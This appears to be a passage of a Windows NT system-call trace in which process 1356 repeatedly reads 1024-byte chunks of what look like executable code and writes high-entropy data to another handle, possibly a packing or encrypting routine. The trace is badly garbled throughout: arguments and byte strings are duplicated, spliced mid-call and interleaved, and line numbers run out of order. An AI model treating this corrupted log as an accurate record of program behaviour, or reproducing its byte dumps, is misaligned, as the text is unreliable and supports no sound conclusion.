,W\267\357)x\2028Z\365\355Fqm\201\312w\\202C:\203u\35O\315w\223\263*x8\311\272\316\271h0\217jw^\231\16\177\250\217\4\23\252\356\254\267;\22\244\360w\24\374\244~*\203\33}y\200\255i\343\212\200\317\30\215\232@<\33Ea\247\354\362\263\300\371\335\262\353isC\10H\04\30\227\203W\242\35", 1024, 0x0, 0, ...
 00919  1356   NtContinue  (-140694060, 0, ...
 00918  1356   NtWriteFile  ... {status=0x0, info=1024}, ) == 0x0
 00920  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "|*9\316}&\205\377~")\3619\317~\2\211\317)\371\1\362\215\4\27\350\336\337\377\377\213\23\211\330\213R\374)\372\350H\1\0\0_^[\303SV\203\304\360\205\322tN\205\300tJ\213r\374\213X\3749\336|@\205\333~3619\317~\2\211\317)\371\1\362\215\4\27\350\336\337\377\377\213\23\211\330\213R\374)\372\350H\1\0\0_^[\303SV\203\304\360\205\322tN\205\300tJ\213r\374\213X\3749\336|@\205\333~1\326\1\332\211t$\10\1\330\211T$\4\367\333\17\266\10\211\34$\17\205\231\0\0\0\203\356\2\211t$\14:\12tA:J\1tL\203\302\2;T$\14r\12;T$\10r\3501\300\3530:\12t%:J\1t0:J\2t\30:J\3t#\203\302\4;T$\14r\344;T$\10r\3021\300\353\12\203\302\2B\211\320+D$\4\203\304\20^[\303\203\302\2\203\302\21\300;T$\10w\6\211\320+D$\4\203\304\20^[\303:\12tu:J\1tC:J\2th:J\3t6\203\302\4;T$\14r\344;T$\10r\131\300\353J\203\356\2\211t$\14:\12tH:J\1t\26\203\302\2;T$\14r\301;T$\10r\3501\300\353'\203\302\2\2134$\17\267\340f;\2\1u\334\203\306\2|\360\203\302\21\300;T$\10w\6\211\320+D$\4\203\304\20^[\303\203\302\2\2134$\17\267\340f;\342u\253\203\306\2|\361B\211\320+D$\4\203\304\20^[\303\220SVW\211\303\211\3261\377\205\322~H\213\3\205\300t#\203x\370\1u\35\203\350\10\203\302\11P\211\340\350\271\334\377\377X\203\300\10\211\3\211p\374\306\4\6\0\353(\211\320\350\227\371\377\377\211\307\213\3\205\300t\20\211\372\213H\3749\361|\2\211\361\3503\336\377\377\211\330\350\264\370\377\377\211;_^[\303\213\300\260\1\351q\335\377\377\303\205\300t\20Pj\0\350t\302\377\377\205\300\17\204\344\377\377\377", ) == 0x0
 00921  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\313\347\6Q\7\223\242\2137\2614\361\304x\327:G\312\341\25 M\261u\240OY\27z\177=7\225A}BVW\367\342\223\14\10\360yIS@Q\232(a\361$6\321\263&\303H\205\354\250F\224\204p"\336\357|\323\266v\362:\231\376\263\214_!\27\357\376}\247w\301\226x\274J>\250\322\254\360\274\24\223!I\301'\232f\\206X\376\314\33\374\25\24\1\312\35\37\347u';\251\361\211\303\212\7\270\220\272\2106\240\27\2525Bl=\7\244(\26\311\6:%\315\343FA\223\315\20)\213\264\220`\211\306\353+\276\2\230Yr\300\316q\264\201e\362\232\271\3739.\\337SS&J:\252t\11V\323\376\200\237_c\254G\2078Qc\17\35\246\342y\342%\356EV\270.\11\341\221\265Q\273\273\346\3422\376[]L\225\315\222\2318d\240.\327\321/Q\7\306Wk\267\13\314%/\256\2663 \314\311\4w\7\307\242\2113msk\274\342\376\7\316\206\264\343\317\210\33\377{U\354\277\262\320\233\364/\244\323\30\1aQZ/M\253i?\303/\366\276\316\204\315\325\320\0\360\31\310Q\301\12\262\353-\206\360s\22\24\232\334\354\205\221"6t3\216\244\232\322\305\7\232l\216o\263\330e\247\325\312m\310\335R\242\260;\1\375'\266\373\301iy\372\270>\340Z\227e\35\25\2.\326wAZ@D\335\305cUM\2349\223\346\253\376f\311OR\35\213>", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \336\357|\323\266v\362:\231\376\263\214_!\27\357\376}\247w\301\226x\274J>\250\322\254\360\274\24\223!I\301'\232f\\206X\376\314\33\374\25\24\1\312\35\37\347u';\251\361\211\303\212\7\270\220\272\2106\240\27\2525Bl=\7\244(\26\311\6:%\315\343FA\223\315\20)\213\264\220`\211\306\353+\276\2\230Yr\300\316q\264\201e\362\232\271\3739.\\337SS&J:\252t\11V\323\376\200\237_c\254G\2078Qc\17\35\246\342y\342%\356EV\270.\11\341\221\265Q\273\273\346\3422\376[]L\225\315\222\2318d\240.\327\321/Q\7\306Wk\267\13\314%/\256\2663 \314\311\4w\7\307\242\2113msk\274\342\376\7\316\206\264\343\317\210\33\377{U\354\277\262\320\233\364/\244\323\30\1aQZ/M\253i?\303/\366\276\316\204\315\325\320\0\360\31\310Q\301\12\262\353-\206\360s\22\24\232\334\354\205\2212016\210\31!L\252\307'y}\336\331\301\265\205\322&\3168\301\363\377\232\21\374\177\344<9gp\254\266\257\363?\20\223,\245m\311\346\320\6\27\336\230\252\313Y_\231\332B\257D\223\216\317\233\306\16'\253C)\356\263\372\240d_k\201\271\222\370\365\2223\220S\251x\1\306\324Z\374F-\251\311 (92, 0, 0, 0, "\313\347\6Q\7\223\242\2137\2614\361\304x\327:G\312\341\25 M\261u\240OY\27z\177=7\225A}BVW\367\342\223\14\10\360yIS@Q\232(a\361$6\321\263&\303H\205\354\250F\224\204p"\336\357|\323\266v\362:\231\376\263\214_!\27\357\376}\247w\301\226x\274J>\250\322\254\360\274\24\223!I\301'\232f\\206X\376\314\33\374\25\24\1\312\35\37\347u';\251\361\211\303\212\7\270\220\272\2106\240\27\2525Bl=\7\244(\26\311\6:%\315\343FA\223\315\20)\213\264\220`\211\306\353+\276\2\230Yr\300\316q\264\201e\362\232\271\3739.\\337SS&J:\252t\11V\323\376\200\237_c\254G\2078Qc\17\35\246\342y\342%\356EV\270.\11\341\221\265Q\273\273\346\3422\376[]L\225\315\222\2318d\240.\327\321/Q\7\306Wk\267\13\314%/\256\2663 \314\311\4w\7\307\242\2113msk\274\342\376\7\316\206\264\343\317\210\33\377{U\354\277\262\320\233\364/\244\323\30\1aQZ/M\253i?\303/\366\276\316\204\315\325\320\0\360\31\310Q\301\12\262\353-\206\360s\22\24\232\334\354\205\221"6t3\216\244\232\322\305\7\232l\216o\263\330e\247\325\312m\310\335R\242\260;\1\375'\266\373\301iy\372\270>\340Z\227e\35\25\2.\326wAZ@D\335\305cUM\2349\223\346\253\376f\311OR\35\213>", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00922  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\303\215@\01\311S\212J\1VW\211\303\215t\21\12\213|\21\6\213\26\213F\4\1\330\213\22\271\1\0\0\0\350\13\0\0\0\203\306\10O\177\347_^[\303\220\205\311\17\204\212\0\0\0SVW\211\303\211\326\211\3171\322\212\6\212V\11\311<\12t"<\13t\36<\14t$<\15t3<\16tM<\17t\16<\21t\12\260\2_^[\351\334\332\377\377\211\13\203\303\4O\177\370\353E\211\13\211K\4\211K\10\211K\14\203\303\20O\177\357\3532U\211\325\213T.\12\211\330\3\.\2\213L.\6\213\22\350\213\377\377\377O\177\350]\353\24U\211\325\211\330\3\.\2\211\362\350E\377\377\377O\177\360]_^[\303\2201\311S\212J\1VW\211\303\215t\21\12\213|\21\6\213\26\213F\4\1\330\213\22\271\1\0\0\0\350'\0\0\0\203\306\10O\177\347\211\330_^[\303\215@\0\203=\20\240\1@\0t\7\377\25\20\240\1@\303\260\20\350=\332\377\377\303\203\371\0\17\204\340\0\0\0PSVW\211\303\211\326\211\3171\322\212\6\212V\1<\12t%<\13t><\14tQ<\15t\<\16tv<\17\17\204\204\0\0\0<\21\17\204\213\0\0\0\351\227\0\0\0\203\371\1\211\330\177\12\350!\365\377\377\351\221\0\0\0\211\312\3509\365\377\377\351\205\0\0\0\203\371\1\211\330\177\7\350\210\374\377\377\353w\211\312\350\227\374\377\377\353n\211\330\203\303\20\350g\377\377\377O\177\363\353_U\211\325\213T.\12\211\330\3\.\2\213L.\6\213\22\350b\377\377\377O\177\350]\353AU\211\325\211\330\3\.\2\211\362\350\0\377\377\377O\177\360]\353+\211\330\203\303\4\350,\16\0\0O\177\363\353\34\211\330\211\362\203\303\4\350K\7\0\0O\177\361\353\13_^[X\260\2", ) <\13t\36<\14t$<\15t3<\16tM<\17t\16<\21t\12\260\2_^[\351\334\332\377\377\211\13\203\303\4O\177\370\353E\211\13\211K\4\211K\10\211K\14\203\303\20O\177\357\3532U\211\325\213T.\12\211\330\3\.\2\213L.\6\213\22\350\213\377\377\377O\177\350]\353\24U\211\325\211\330\3\.\2\211\362\350E\377\377\377O\177\360]_^[\303\2201\311S\212J\1VW\211\303\215t\21\12\213|\21\6\213\26\213F\4\1\330\213\22\271\1\0\0\0\350'\0\0\0\203\306\10O\177\347\211\330_^[\303\215@\0\203=\20\240\1@\0t\7\377\25\20\240\1@\303\260\20\350=\332\377\377\303\203\371\0\17\204\340\0\0\0PSVW\211\303\211\326\211\3171\322\212\6\212V\1<\12t%<\13t><\14tQ<\15t\<\16tv<\17\17\204\204\0\0\0<\21\17\204\213\0\0\0\351\227\0\0\0\203\371\1\211\330\177\12\350!\365\377\377\351\221\0\0\0\211\312\3509\365\377\377\351\205\0\0\0\203\371\1\211\330\177\7\350\210\374\377\377\353w\211\312\350\227\374\377\377\353n\211\330\203\303\20\350g\377\377\377O\177\363\353_U\211\325\213T.\12\211\330\3\.\2\213L.\6\213\22\350b\377\377\377O\177\350]\353AU\211\325\211\330\3\.\2\211\362\350\0\377\377\377O\177\360]\353+\211\330\203\303\4\350,\16\0\0O\177\363\353\34\211\330\211\362\203\303\4\350K\7\0\0O\177\361\353\13_^[X\260\2", ) == 0x0
 00923  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\2064;\12b\304\335rQ\355\26\13c\252\344SqY@\202j\250\14\205\262\306\352\337\322\223&\360P\16\10\213\313\307\310\34MO\312\225M9u\336\222\25t\2144\263O\230j\234\366\23`\3315\222d\256\274\341l7\343|5G\3607.jg,R\224\24\34\222\36\242w\316\254\177<\317\275\3]\240\200F\240M\212?\207\347DgV4U\251\0\36\244\374\217\305N\10\345\253^\264Ex\3;\257n\262\6\230-\213bBbn\13R\241\377\325\10\223\200\264J\12\201Q\2\374\256\363\363\21ao\266\1Y\144\214\224\0J\314\3702\362\206Ylr\333\356A\355\30\235\264\316\346g\271\315\367\5\322\260\277\33@\251\277\\273E\346I\352\245\303\264\227\245E\220\212V\337AT\265\24z\255\231\340A#m4GC\373\254\324C\353\343\320\6\207\370\375\353\223C\214\17\220\241{\211t\26\334\345\312\360\244\327"V5 \343\4\2040\354\321RH\337\322\300\222A\223\204\13\231\27dC\261\356;K\210\12\31c\237(s\0\34\1%\234(\250:U\333CIlq\304\315\364\336\12\266Vy\235\301\202\227\220|?\2250#?\177V\357\315\36\217]k\230\340\320)@\351\325\2\177XQ\213/\215\203#\227}~|\327Sp{\224\5q\373\367jA{4\31\337N\322\352\257}(\226\2727\14,\202\237\242\377\240zwU\3775.\267\343v\243\222\274\373\241U\11H\311T\206\32\17\357\245\317\204\20\370\263C\10%O<\24\266\267\231\306c\17\336\25\352\247\06\261\7\222\213\363\3330\224\364\222\355\303\234\250\327@\23\247\257\5-\240\337\223R\312F\2\4\230\337\217\17A\340\326\373\274\266\250N\310;\22=&)\360\370\307\207e\264\270a|\2538n\232\224\274\330\7\263\5~\203\353\227", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) V5 \343\4\2040\354\321RH\337\322\300\222A\223\204\13\231\27dC\261\356;K\210\12\31c\237(s\0\34\1%\234(\250:U\333CIlq\304\315\364\336\12\266Vy\235\301\202\227\220|?\2250#?\177V\357\315\36\217]k\230\340\320)@\351\325\2\177XQ\213/\215\203#\227}~|\327Sp{\224\5q\373\367jA{4\31\337N\322\352\257}(\226\2727\14,\202\237\242\377\240zwU\3775.\267\343v\243\222\274\373\241U\11H\311T\206\32\17\357\245\317\204\20\370\263C\10%O<\24\266\267\231\306c\17\336\25\352\247\06\261\7\222\213\363\3330\224\364\222\355\303\234\250\327@\23\247\257\5-\240\337\223R\312F\2\4\230\337\217\17A\340\326\373\274\266\250N\310;\22=&)\360\370\307\207e\264\270a|\2538n\232\224\274\330\7\263\5~\203\353\227", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00924  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\345\353(\211\330\213\26\350\20\14\0\0\203\303\4\203\306\4Mu\356\353\24\211\330\213\26\211\371\350N\5\0\0\203\303\4\203\306\4Mu\354]_^[\302\4\0\303\220P\350\306\375\377\377X\350\374\325\377\377\303\215@\0\221\207\312\350\224\363\377\377\303\215@\0SVQ\213\362\213\330\211\34$\213\4$\350\6\373\377\377\213\320\213\316\213\303\350\327\377\377\377Z^[\303\215@\0Q3\322\211\24$\213\320\205\322t\5\203\352\4\213\22\213\314\221\207\321\350\335\371\377\377\213\4$Z\303\260\21\351\265\326\377\377\303RP\213D$\20\367$$\211\301\213D$\4\367d$\14\1\301\213\4$\367d$\14\1\312YY\302\10\0\303SVW\213\$\20\213L$\24\211\326\211\317\301\376\371\3601\362)\360\31\362\301\377\371\3761\3731\371)\373\31\371u\239\332r\11\211\301\211\3201\322\367\363\221\367\363\211\312\353G\203\354\14\211\4$\211\$\4\211T$\10\211\317\321\352\321\330\321\317\321\333\17\275\311\17\255\373\17\255\320\323\352\321\307\367\363\213\34$\211\301\17\257\370\367d$\4\1\372)\303\211\310\213L$\10\31\321\203\330\01\322\203\304\141\3601\362)\360\31\362_^[\302\10\0\303\213\300SVWU\203\304\354\211\24$\213\360\275\1\0\0\03\377\307D$\10\0\0\0\0\307D$\14\0\0\0\0\205\366u\13\213\4$\211(\351\327\1\0\0E\200|.\377 t\370\306D$\20\0\17\266D.\377<-u\10\306D$\20\1E\353\5<+u\1E\263\1\200|.\377$t*\17\266D.\377\350\341\330\377\377, ) , ) == 0x0
 00925  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\374nP\303H}\20\364\11\267y\220\206\26Lv\247q\360t\254s\326\277\34m\2142P\333\264\7\240W\311\340}Pc\2709\2\33\204\225\372nC(\357\273\361\306;cp\14\216\273\350\22\247\326VQ1^\331W\\373s|\217W\330X\352\351;)BD\223\335\266\275\217Q6\12\177\355CB"\6\322s\341\312\222)r\37\341f\25\3013/x\371\257\226UZ)\267EK\220\225\336c\276\243\30\227\222m\350l\376"\201Up\200\345L\17u\12\242\372\274\253|\377\226\322\372CjX^\317\357\323$s\277\276\217\277P\3207\252b\261\335\316c\220_\262\217\220\332\304\352F\27\225{\201\330\3361\10`?O\1X\335\275\246\6\375\311\3351\22G\34K\13r\336\353Q\312\252Db\272\235\260-\315\350&\10\34\356\336%DXcS\31Y$\326\302\2112\37+\317\305\14\374{~8\301\210Qr\24d\265\204;\267\252\222\266\302\0\6\230\340\316p\204|#\206\345\4\304\373\221\225\231\201\301\273Lu\231\321\265\206\213\376\269HI\253x\240\217\357\210\253\326\2216O\335.6\354\377\263\347\326A9\360\346\331\255U\233\260\25\3\236V\271\354E\375x\217\346\205x\316\204\373;"\3W\25\232\21Cy\365a\330\346\273\242\203L\313\364>\\331\377\343(v\350\203\254\15<\316j\272\246\17A\3375RZ\254 >Xu\320Dx\351\255h\15\17kf\244\200\274E\353\2125J\327\15\355\371\243\305)\351\371\113\0'\222K\212X\262\304)uu|T\315z\3368\263c'\304\240\321\3q\344\270\16\1f\5b\213\327-\311\201\322\315\364\243\241{\272\310\35\17\37\23\266\216\341T4\37\215\225A\351\351\16\205\314\2209^\360Y\202\375\331\315'\267\\35\372;\366Y-\336\37\326", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \6\322s\341\312\222)r\37\341f\25\3013/x\371\257\226UZ)\267EK\220\225\336c\276\243\30\227\222m\350l\376 (92, 0, 0, 0, "\374nP\303H}\20\364\11\267y\220\206\26Lv\247q\360t\254s\326\277\34m\2142P\333\264\7\240W\311\340}Pc\2709\2\33\204\225\372nC(\357\273\361\306;cp\14\216\273\350\22\247\326VQ1^\331W\\373s|\217W\330X\352\351;)BD\223\335\266\275\217Q6\12\177\355CB"\6\322s\341\312\222)r\37\341f\25\3013/x\371\257\226UZ)\267EK\220\225\336c\276\243\30\227\222m\350l\376"\201Up\200\345L\17u\12\242\372\274\253|\377\226\322\372CjX^\317\357\323$s\277\276\217\277P\3207\252b\261\335\316c\220_\262\217\220\332\304\352F\27\225{\201\330\3361\10`?O\1X\335\275\246\6\375\311\3351\22G\34K\13r\336\353Q\312\252Db\272\235\260-\315\350&\10\34\356\336%DXcS\31Y$\326\302\2112\37+\317\305\14\374{~8\301\210Qr\24d\265\204;\267\252\222\266\302\0\6\230\340\316p\204|#\206\345\4\304\373\221\225\231\201\301\273Lu\231\321\265\206\213\376\269HI\253x\240\217\357\210\253\326\2216O\335.6\354\377\263\347\326A9\360\346\331\255U\233\260\25\3\236V\271\354E\375x\217\346\205x\316\204\373;"\3W\25\232\21Cy\365a\330\346\273\242\203L\313\364>\\331\377\343(v\350\203\254\15<\316j\272\246\17A\3375RZ\254 >Xu\320Dx\351\255h\15\17kf\244\200\274E\353\2125J\327\15\355\371\243\305)\351\371\113\0'\222K\212X\262\304)uu|T\315z\3368\263c'\304\240\321\3q\344\270\16\1f\5b\213\327-\311\201\322\315\364\243\241{\272\310\35\17\37\23\266\216\341T4\37\215\225A\351\351\16\205\314\2209^\360Y\202\375\331\315'\267\\35\372;\366Y-\336\37\326", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \3W\25\232\21Cy\365a\330\346\273\242\203L\313\364>\\331\377\343(v\350\203\254\15<\316j\272\246\17A\3375RZ\254 >Xu\320Dx\351\255h\15\17kf\244\200\274E\353\2125J\327\15\355\371\243\305)\351\371\113\0'\222K\212X\262\304)uu|T\315z\3368\263c'\304\240\321\3q\344\270\16\1f\5b\213\327-\311\201\322\315\364\243\241{\272\310\35\17\37\23\266\216\341T4\37\215\225A\351\351\16\205\314\2209^\360Y\202\375\331\315'\267\\35\372;\366Y-\336\37\326", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00926  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\353\23\366\213\307\367m\350\211E\344\213E\344\231\367\377;E\350t\7\260\4\3502\323\377\377\203E\344\10\205\333t\5\203;\1u5\211]\340;}\360}\35\205\366t\31\213\303\203\300\10\213\327\17\257U\350\3\302\213M\360+\317\213\326\350<\377\377\377\215E\340\213U\344\350\371\321\377\377\213]\340\353^\377\13\213E\344\350\266\321\377\377\213\330\213E\360\211E\354;}\354}\3\211}\354\205\366t*\213U\354\17\257U\350\213\303\203\300\103\311\350\357\332\377\377\213E\354P\213U\374\213\22\213\303\203\300\10\213\316\350\326\376\377\377\353\26\213M\354\17\257M\350\213\323\203\302\10\213E\374\213\0\350>\323\377\377\307\3\1\0\0\0\203\303\4\211;\203\303\4\213\327+U\360\17\257U\350\213E\350\17\257E\360\3\3033\311\350\233\332\377\377\203}\370\1~.\203E\10\4\377M\370O\205\377|"G\307E\364\0\0\0\0\213E\10P\213E\364\215\4\203\213M\370\213\326\350\211\376\377\377\377E\364Ou\346\213E\374\211\30_^[\213\345]\302\4\0\220T\203\4$\4\350j\376\377\377\303\220\213\10\205\311t3\307\0\0\0\0\0\360\377I\370u'P\211\3101\311\212J\1\213T\21\6\205\322t\16\213H\374\205\311t\7\213\22\350\260\367\377\377\203\350\10\350\320\320\377\377X\303\213\300S\213\30\205\322t\4\360\377B\370\205\333t\24\360\377K\370u\16PR\211\312\377C\370\350\243\377\377\377ZX\211\20[\303\220\203\304\344j\34\215T$\4RP\350\260\266\377\377\201|$\20\0\20\0\0u\6\213D$\4\353\23\300\203\304\34\303\213\300SV\201\304\370\376\377\377\213\330\203{\20\0u+h\5\1\0\0\215D$\4P\213C\4P\350\5\266\377\377\213\304\262\1\3508\2\0\0\213\360\211s\20\205\366u", ) G\307E\364\0\0\0\0\213E\10P\213E\364\215\4\203\213M\370\213\326\350\211\376\377\377\377E\364Ou\346\213E\374\211\30_^[\213\345]\302\4\0\220T\203\4$\4\350j\376\377\377\303\220\213\10\205\311t3\307\0\0\0\0\0\360\377I\370u'P\211\3101\311\212J\1\213T\21\6\205\322t\16\213H\374\205\311t\7\213\22\350\260\367\377\377\203\350\10\350\320\320\377\377X\303\213\300S\213\30\205\322t\4\360\377B\370\205\333t\24\360\377K\370u\16PR\211\312\377C\370\350\243\377\377\377ZX\211\20[\303\220\203\304\344j\34\215T$\4RP\350\260\266\377\377\201|$\20\0\20\0\0u\6\213D$\4\353\23\300\203\304\34\303\213\300SV\201\304\370\376\377\377\213\330\203{\20\0u+h\5\1\0\0\215D$\4P\213C\4P\350\5\266\377\377\213\304\262\1\3508\2\0\0\213\360\211s\20\205\366u", ) == 0x0
 00927  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\332-\323C\216\206$\246.\346t\364X\237u\254\3\33\205\4cg\177\274\355w\334\300\347\337"\2365\260Y\220G\275\352\2549\158\307\35\300\232g\32v\312\267\224\275`I\317\241Q\250\13\350,\255~Bz\2r\216\25\374y\265xr \333\314'7\245_\312\276K\232\2108\34\7\205%pc\241\337C\26W\324\366eDI\344+\375\236\2179\2534\205\245\252+b\213L8\322+\332\336\315\334\211,\307\12\252,T|V\243\332\367\15\271\354\233\206n;`<\374\332\256\362`\345\121\263\201\21x\350\177\253\365@%"\14\367C\354\325\207\202O\336\311\313\275}\370}l\3\257L\202$/\221\14\307S\377\356\202\213c\260\235g\233S6tV\376yS\236\343\24\337h\12\16$\214\4\356{\261#\342\6yL*\345r\22\331!N\320R\230%\200V\325\216\248%}\200\240.\335\324\222\212>\346\255\213:\6\301\210\272dkg6p\204\344\31\221\32w\266\363\257\321\212\336G\245\31\242\214Mzr\351\257]\1\212Z\302\234luls\316\13\11Cd\3072\310Be\257L\351Y\324\321l\371b\342:0\325{\3342oH\233}\263\275\355\322\363/\202\367\370\245\357\307}\3444\245\244\217;@\354r\201\225=n#(\17pW1\35\257\335\365!4+gJ\15\330\15\323\313\323\223\366\245\322f\252(\214\357\227E\351]^\224\2315\365\353\7\2403\315\232n\255\256\\301\354I\330\1\310\355\371\236\222\3776\250\353\232J|\235\371\33OKn\30\335&\227\301"\327\\25{z#\235FyB\16t\367\317\230\7f\257\307\225ii\214"\305\363\241\3570jJ\347\316\10\3079\221C6i\24\364\7\251aF\227\14]\220\231l0;\7\374\3022\14\7\334\274\350\224z\203", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \2365\260Y\220G\275\352\2549\158\307\35\300\232g\32v\312\267\224\275`I\317\241Q\250\13\350,\255~Bz\2r\216\25\374y\265xr \333\314'7\245_\312\276K\232\2108\34\7\205%pc\241\337C\26W\324\366eDI\344+\375\236\2179\2534\205\245\252+b\213L8\322+\332\336\315\334\211,\307\12\252,T|V\243\332\367\15\271\354\233\206n;`<\374\332\256\362`\345\121\263\201\21x\350\177\253\365@% (92, 0, 0, 0, "\332-\323C\216\206$\246.\346t\364X\237u\254\3\33\205\4cg\177\274\355w\334\300\347\337"\2365\260Y\220G\275\352\2549\158\307\35\300\232g\32v\312\267\224\275`I\317\241Q\250\13\350,\255~Bz\2r\216\25\374y\265xr \333\314'7\245_\312\276K\232\2108\34\7\205%pc\241\337C\26W\324\366eDI\344+\375\236\2179\2534\205\245\252+b\213L8\322+\332\336\315\334\211,\307\12\252,T|V\243\332\367\15\271\354\233\206n;`<\374\332\256\362`\345\121\263\201\21x\350\177\253\365@%"\14\367C\354\325\207\202O\336\311\313\275}\370}l\3\257L\202$/\221\14\307S\377\356\202\213c\260\235g\233S6tV\376yS\236\343\24\337h\12\16$\214\4\356{\261#\342\6yL*\345r\22\331!N\320R\230%\200V\325\216\248%}\200\240.\335\324\222\212>\346\255\213:\6\301\210\272dkg6p\204\344\31\221\32w\266\363\257\321\212\336G\245\31\242\214Mzr\351\257]\1\212Z\302\234luls\316\13\11Cd\3072\310Be\257L\351Y\324\321l\371b\342:0\325{\3342oH\233}\263\275\355\322\363/\202\367\370\245\357\307}\3444\245\244\217;@\354r\201\225=n#(\17pW1\35\257\335\365!4+gJ\15\330\15\323\313\323\223\366\245\322f\252(\214\357\227E\351]^\224\2315\365\353\7\2403\315\232n\255\256\\301\354I\330\1\310\355\371\236\222\3776\250\353\232J|\235\371\33OKn\30\335&\227\301"\327\\25{z#\235FyB\16t\367\317\230\7f\257\307\225ii\214"\305\363\241\3570jJ\347\316\10\3079\221C6i\24\364\7\251aF\227\14]\220\231l0;\7\374\3022\14\7\334\274\350\224z\203", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \327\\25{z#\235FyB\16t\367\317\230\7f\257\307\225ii\214 (92, 0, 0, 0, "\332-\323C\216\206$\246.\346t\364X\237u\254\3\33\205\4cg\177\274\355w\334\300\347\337"\2365\260Y\220G\275\352\2549\158\307\35\300\232g\32v\312\267\224\275`I\317\241Q\250\13\350,\255~Bz\2r\216\25\374y\265xr \333\314'7\245_\312\276K\232\2108\34\7\205%pc\241\337C\26W\324\366eDI\344+\375\236\2179\2534\205\245\252+b\213L8\322+\332\336\315\334\211,\307\12\252,T|V\243\332\367\15\271\354\233\206n;`<\374\332\256\362`\345\121\263\201\21x\350\177\253\365@%"\14\367C\354\325\207\202O\336\311\313\275}\370}l\3\257L\202$/\221\14\307S\377\356\202\213c\260\235g\233S6tV\376yS\236\343\24\337h\12\16$\214\4\356{\261#\342\6yL*\345r\22\331!N\320R\230%\200V\325\216\248%}\200\240.\335\324\222\212>\346\255\213:\6\301\210\272dkg6p\204\344\31\221\32w\266\363\257\321\212\336G\245\31\242\214Mzr\351\257]\1\212Z\302\234luls\316\13\11Cd\3072\310Be\257L\351Y\324\321l\371b\342:0\325{\3342oH\233}\263\275\355\322\363/\202\367\370\245\357\307}\3444\245\244\217;@\354r\201\225=n#(\17pW1\35\257\335\365!4+gJ\15\330\15\323\313\323\223\366\245\322f\252(\214\357\227E\351]^\224\2315\365\353\7\2403\315\232n\255\256\\301\354I\330\1\310\355\371\236\222\3776\250\353\232J|\235\371\33OKn\30\335&\227\301"\327\\25{z#\235FyB\16t\367\317\230\7f\257\307\225ii\214"\305\363\241\3570jJ\347\316\10\3079\221C6i\24\364\7\251aF\227\14]\220\231l0;\7\374\3022\14\7\334\274\350\224z\203", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00928  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "kernel32.dll\0\0\0\0GetLongPathNameA\0\0\0\0U\213\354\201\304\340\376\377\377SV\211E\374h\5\1\0\0\215\205\343\376\377\377Pj\0\350\243\263\377\377\306E\356\0\215E\370Ph\31\0\17\0j\0hT`\0@h\1\0\0\200\350\335\263\377\377\205\300t@\215E\370Ph\31\0\17\0j\0hT`\0@h\2\0\0\200\350\277\263\377\377\205\300t"\215E\370Ph\31\0\17\0j\0hp`\0@h\1\0\0\200\350\241\263\377\377\205\300\17\205\211\0\0\03\300Uh)_\0@d\3770d\211 \307E\350\5\0\0\0\215\205\343\376\377\377\272\5\1\0\0\350\224\375\377\377\215E\350P\215E\356Pj\0j\0\215\205\343\376\377\377P\213E\370P\350`\263\377\377\205\300t"\215E\350P\215E\356Pj\0j\0h\220`\0@\213E\370P\350B\263\377\377\205\300t\4\306E\356\0\306E\362\03\300ZYYd\211\20h0_\0@\213E\370P\350\20\263\377\377\303\351\326\342\377\377\353\357h\5\1\0\0\213E\374P\215\205\343\376\377\377P\350\333\262\377\377j\5\215E\363Pj\3\350\266\262\377\377P\350\210\262\377\3773\366\200\275\343\376\377\377\0\17\204\343\0\0\0\200}\363\0u\12\200}\356\0\17\204\323\0\0\0\215\205\343\376\377\377P\350\245\262\377\377\213\330\215\205\343\376\377\377\3\330\353\1K\200;.t\12\215\205\343\376\377\377;\330u\360\215\205\343\376\377\377;\330\17\204\235\0\0\0C\200}\356\0t(\213\323+\320\270\5\1\0\0+\302P\215E\356PS\350V\262\377\377j\2j\0\215\205\343\376\377\377P\3506\262\377\377\213\360\205\366uj\200}\363\0td\215\205\343\376\377\377\213\323+\320\270\5\1\0", ) \215E\370Ph\31\0\17\0j\0hp`\0@h\1\0\0\200\350\241\263\377\377\205\300\17\205\211\0\0\03\300Uh)_\0@d\3770d\211 \307E\350\5\0\0\0\215\205\343\376\377\377\272\5\1\0\0\350\224\375\377\377\215E\350P\215E\356Pj\0j\0\215\205\343\376\377\377P\213E\370P\350`\263\377\377\205\300t (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, 